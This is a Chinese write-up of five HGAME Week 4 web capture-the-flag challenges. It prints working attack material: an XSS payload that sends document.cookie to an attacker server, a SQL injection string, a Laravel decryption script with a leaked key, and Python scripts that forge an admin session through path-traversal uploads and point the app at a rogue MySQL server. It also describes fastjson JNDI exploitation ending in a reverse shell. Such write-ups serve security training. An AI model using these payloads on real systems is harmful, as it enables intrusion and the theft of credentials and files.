前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HGAME-Week4-Web writeup

HGAME-Week4-Web writeup

作者头像
安恒网络空间安全讲武堂
发布2019-09-29 14:18:09
1.4K0
发布2019-09-29 14:18:09
举报

来呀!来呀!关注我吧!!

【300pt】happyXss

检测过滤

根据题目叙述 先拿上一次的payload试一下

我们发现网站后台将传入的 <script> 替换成Happy。但是前边和后边的数据并没有被过滤,但是后边的会被当成前边标签的属性,因此尝试修改下前边的数据。

由此可见后台还对一些关键字进行替换

构造payload

经过测试发现并没有对 eval() 函数 和src 属性进行过滤, 但是经过测试及查询发现src属性由于 CSP内容安全策略 无法调用外部脚本。

但是可以使用编码的形式进行绕过 (1)base64编码 eval(atob(内容的base64形式))

(2)ascill码 eval (String.fromCharCode(内容的ascill码形式))

这里直接采用base64编码 进行绕过 构造payload:

代码语言:javascript
复制
<script >eval(atob('这段为payload的base64形式'))</script >

需要base64加密的payload 如下

代码语言:javascript
复制
window.location.href="//xxx.xxx.xxx.xxx:xx/?"+document.cookie

服务器配置

登录服务器以后 使用nc -lnvp 2017 来达到监听2017端口流量。 之后提交我们xss的payload ,经过后台bot访问后,我们服务器的2017端口就可以收到数据反馈。

使用burp POST数据并获取flag

页面有点难用,此时直接尝试burpsuite发包打payload

然后查看服务器,getflag

【300pt】happyPython

打开题目,发现是flask,有注册和登陆功能,尝试发现URL处存在SSTI(服务器模板注入)

经过一番尝试,发现WAF掉了小括号(命令执行的话很多操作会用到),猜测是伪造cookie登陆admin。

使用payload:{{config}} 可以获得secret_key

flask_session参考:[https://www.anquanke.com/post/id/163975

发现可疑参数_id,改为1,然后使用伪造cookie登陆即可获得flag

【300pt】happyPHP

拿到题目,先看一波,功能有登陆,注册。 此时尝试注册登陆,登陆后,发现如下hint。

此时获取到源码,我们可以进行源码审计了。 在看git的时候,切记要看一下历史记录,可能会有新收获

审计源码

该题目是使用 PHP的laravel框架 搭建 部署的。要想灵活审计此类题目,我们需要先了解一下laravel框架的结构。 此时,我们先从routes/web.php开始,也就是从路由开始,先分析一下,一共多少页面,实现了哪些功能 。

Route::get('/', 'StaticPagesController@home')->name('home'); Route::get('/register','UsersController@register')->name('register'); Route::get('/login','UsersController@login')->name('login'); Route::get('/users', 'UsersController@show')->name('users.show'); Route::post('/users', 'UsersController@store')->name('users.store'); Route::post('/login', 'SessionsController@store')->name('login'); Route::get('/logout', 'SessionsController@destroy')->name('logout');

拿第一行来举例,意思是,根目录会发送给StaticPagesController下的home方法进行解析。

在laravel中 ,核心代码在app文件夹内,此时我们从中可以找出StaticPagesController.php。进而分析

代码语言:javascript
复制
<?
class StaticPagesController extends Controller
{
    public function home()
    {
        return view('static_pages/home');
    }
}

可以发现,此时他return了一个view。也就是直接渲染一个模板。模板文件我们可以在/resources/views文件夹内找到。不过暂时我们不对模板文件进行审计。先从路由中的几个方法入手,分析其项目逻辑。在这里就不做过多介绍。

解题

通过对源码的分析,我们可以发现一个可疑的点。如下第25行。

这行语句的意思是,从数据找出一条name=xxx的数据,然后将他的name给我。**

显而易见,这是句废话,而且分析还可以发现,该处没有对单引号进行过滤。

(p.s.在laravel中,有更安全的数据库查询方式,一般是不会使用拼接字符串的。疑点+1)

此时尝试对这个点进行注入。

我们在注册的时候,会为name赋值。此时我们尝试读取admin的email。payload如下。

代码语言:javascript
复制
iiiiaa' union select email from `users` where `name`='admin

注册时name填写payload即可。然后登陆即可发现注入结果。同理可得密码。

代码语言:javascript
复制
email:admin@hgame.com
password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

此时发现password是加密后的。我们在回到源码进行分析。可以发现,在注册的时候,他进行了加密。

翻阅资料,以及看config,可以发现它采用AES-256-CBC加密,key在.env文件中(git历史记录有)。然后解密即可。解密脚本如下:

代码语言:javascript
复制
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
import base64
import json


key = '9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='
enc = 'eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ=='

enc_obj = json.loads(base64.b64decode(enc))
iv = base64.b64decode(enc_obj['iv'])
value = base64.b64decode(enc_obj['value'])
key = base64.b64decode(key)
PADDING = '\0'
pad_it = lambda s: s+(16 - len(s)%16)*PADDING  

generator = AES.new(key, AES.MODE_CBC, iv)
recovery = generator.decrypt(value)
print recovery.rstrip(PADDING)

# s:16:"9pqfPIer0Ir9UUfR";

最后直接登录即可得到flag。

【600pt】happyJava

分析题目及信息收集

拿到题目真心很懵,研究半天愣是不知道入口在哪。 最后问了一下主办方,才要到一个hint:spring-boot-actuator。 actuator是一个spring-boot监控平台,如果有未授权访问,会泄露很多敏感信息。

http://sc0de.com/2018/09/02/spring-leakage/

尝试对actuator的路径进行扫描后,没有发现。

actuator部署时,可以选择与当前项目不同端口,此时通过扫描端口,可以得到以下信息:

PORT STATE SERVICE 22/tcp open ssh 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 4444/tcp filtered krb524 6667/tcp filtered irc 9876/tcp open sd 31337/tcp open Elite

然后针对开放端口继续进行扫描。最终发现mappings接口泄露如下信息(路由表):

代码语言:javascript
复制
# url: http://119.28.26.122:9876/mappings

{
    "/webjars/**": {"bean": "resourceHandlerMapping"},
    "/**": {"bean": "resourceHandlerMapping"},
    "/**/favicon.ico": {"bean": "faviconHandlerMapping"},
    "{[/index],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.Index()"
    },
    "{[/you_will_never_find_this_interface],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"
    },
    "{[/secret_flag_here],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"
    },
    "{[/error],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()"
    },
    "{[/error],produces=[text/html]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)"
    },
    "{[/error]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"
    }
}

通过对路由表分析,可以发现/youwillneverfindthisinterface以及secretflag_here两个接口。

解题ing

通过实际对两个接口进行访问,分析。可以得出以下结论

  1. /youwillneverfindthis_interface该接口,可能造成ssrf。
  2. /secretflaghere,无法伪造ip绕过,可结合1中的ssrf利用。

然后继续分析第一个接口。通过分析,可以得出,他首先对url进行解析,获取ip,判断ip是否在黑名单中。之后进行对url访问。

此时我们可以通过DNS rebinding来进行ssrf。 简单来说就是,让他在判断ip的时候,将域名解析为正常ip,然后访问时,将ip解析为127.0.0.1。(详见http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/)

此时由于自己尝试自己搭DNS rebinding服务失败,蜜汁尴尬。(

最后无奈,只能通过简单粗暴来解决。

然后burp爆破即可。

解决ing

爆破过程省略,然后继续说哈。 通过ssrf,可以访问到secretflaghere这个接口。提示需要有data参数,构造以下url。

代码语言:javascript
复制
http://119.28.26.122:23333/you_will_never_find_this_interface?url=http://dns.5am3.com:23333/secret_flag_here?data=123

传入data=1234,可以看到返回结果

WoW! Convert JSON to object...OK! Result: 12443

可以知道该接口是一个json的解析接口。考虑到出题人心理。为什么要给这个接口?当然是要考fastjson反序列化啦。

所以嘛,尝试构造即可。 自己做的时候,坑点很多。在这里介绍一下,就不细说了。

  1. 标点符号要经过2次url加密。否则会报waf
  2. 基于TemplateImpl的fastjson的poc无法使用,会报waf

在经过多次尝试后,可以通过基于 JNDI 的 PoC来完成。

详见:https://www.restran.net/2018/10/29/fastjson-rce-notes/#基于-JNDI-的-PoC 这里就不多做介绍了。

最后通过反弹shell,获取到目标靶机shell。读取flag即可。

【600pt】happyGo

分析题目

尝试分析网站,注册登陆后,有一个hint,网站每5分钟重置一次。然后就是有一个上传头像的地方 。此时可以上传任意文件,并且跨目录上传。由于时间太短,不好对源站进行太多的尝试。先down下来源码,自己搭一波环境。

因为对go不太了解,一开始一直在想如何能覆盖源码,或者覆盖模板 。最后肯定是失败的。因为他是先编译后在执行的 。所以没覆盖源码一说。最后审查代码,在main.go中发现session的一些配置。

可以看出,它是将session作为文件,存到了当前的tmp目录下。打开tmp目录。可以看到他的目录结构是。

代码语言:javascript
复制
- tmp
- - 1
- - - a
- - - - 1axxxxx

此时知道了session的存储形式,以及存储结构,我们可以尝试伪造session,来登陆管理员账户。

继续分析,看一下admin都有什么权限。分析代码,可以发现管理员是可以删除用户的。

此时,删除用户,首先会删除用户头像文件,以及数据库中删除该用户。 此时的用户头像文件我们可控。也就是可以任意删除文件。

此时我们可以整理利用链如下: 伪造session登陆管理员 --> 删除某敏感文件

说实话,到这里真的卡住了,最后无奈向主办方求hint。软磨硬泡之下,要到一个连接。 https://lightless.me/archives/read-mysql-client-file.html

还是自己太菜了,看完之后,一声woc。

最终利用链可以分析出来,就是:

伪造session登陆管理员 --> 删除app.conf --> 重新install,写入恶意sql服务器 --> 任意文件读取。

尝试解题

首先,先进行session伪造,在这里不多说了,大家可以分析一下poc。伪造session的poc如下。

代码语言:javascript
复制
# coding:utf-8
import requests
import base64

ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"

req = requests.session()

# register
registerData={
    "username":"ii5am3",
    "password":"123456",
    "confirmpass":"123456",
}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)

# login
loginData={
    "username":"ii5am3",
    "password":"123456",
}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

# 获取当前登陆用户的sessionID
sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)

# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)

# 本地搭建环境,登入uid为1的账号,然后获取他的session的文件即可。在这里我给大家
attackSession = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")
sessionFiles={
    "uploadname" : (filename, attackSession)
}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newCookie is: PHPSESSID="+ newSession)

此时我们可以通过该session来登入管理员账户。(脚本多试几次,有可能卡在题目环境更新时)

此时可以进行下一步,将user1,也就是你注册的那个用户的头像修改,文件名为../../conf/app.conf 。(其实自己之前尝试过直接覆盖,但是未成功。迷..) 然后再进行删除该用户,此时可以进行重装操作。 最终poc如下(时间太短了,手工肯定不行的。):

代码语言:javascript
复制
# coding:utf-8
import requests
import base64

# req表示user1,此时全程用该一个session
req = requests.session()

ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"
deleteUserURL = host +"/admin/user/del/2"
installURl = host + "/install"

attackCookie = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")

# register
registerData={
    "username":"ii5am3",
    "password":"123456",
    "confirmpass":"123456",
}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)

# login
loginData={
    "username":"ii5am3",
    "password":"123456",
}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)

# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)

sessionFiles={
    "uploadname" : (filename, attackCookie)
}
r = req.post(userinfoURL,files=sessionFiles)

print(r"[+] newSessionID is "+ newSession)

# 修改头像文件链接。

sessionFiles={
    "uploadname" : ("../../conf/app.conf", "12345")
}
r = req.post(userinfoURL,files=sessionFiles)


# 新建一个请求,伪造admin进行删除用户
headers={
    "Cookie":"PHPSESSID="+newSession
}
r = requests.get(deleteUserURL,headers=headers)

# 重新安装环境,将其指向我们的恶意sql服务器。
installData = {
    "host":"1xx.1x9.1xx.x3",
    "port":"2017",
    "username":"hgame",
    "password":"hgame",
    "database":"hgame"
}

r = requests.post(installURl,installData)

# 再次登录,使其再来一次请求。
loginData={
    "username":"ii5am3",
    "password":"123456",
}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

至此,我们这道题就做完了。再附一个自己用的恶意sql服务器。

https://github.com/allyshka/Rogue-MySql-Server

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-02-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 【300pt】happyXss
    • 检测过滤
      • 构造payload
        • 服务器配置
          • 使用burp POST数据并获取flag
            • 【300pt】happyPython
              • 【300pt】happyPHP
                • 审计源码
                • 解题
              • 【600pt】happyJava
                • 分析题目及信息收集
                • 解题ing
                • 解决ing
              • 【600pt】happyGo
                • 分析题目
                • 尝试解题
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档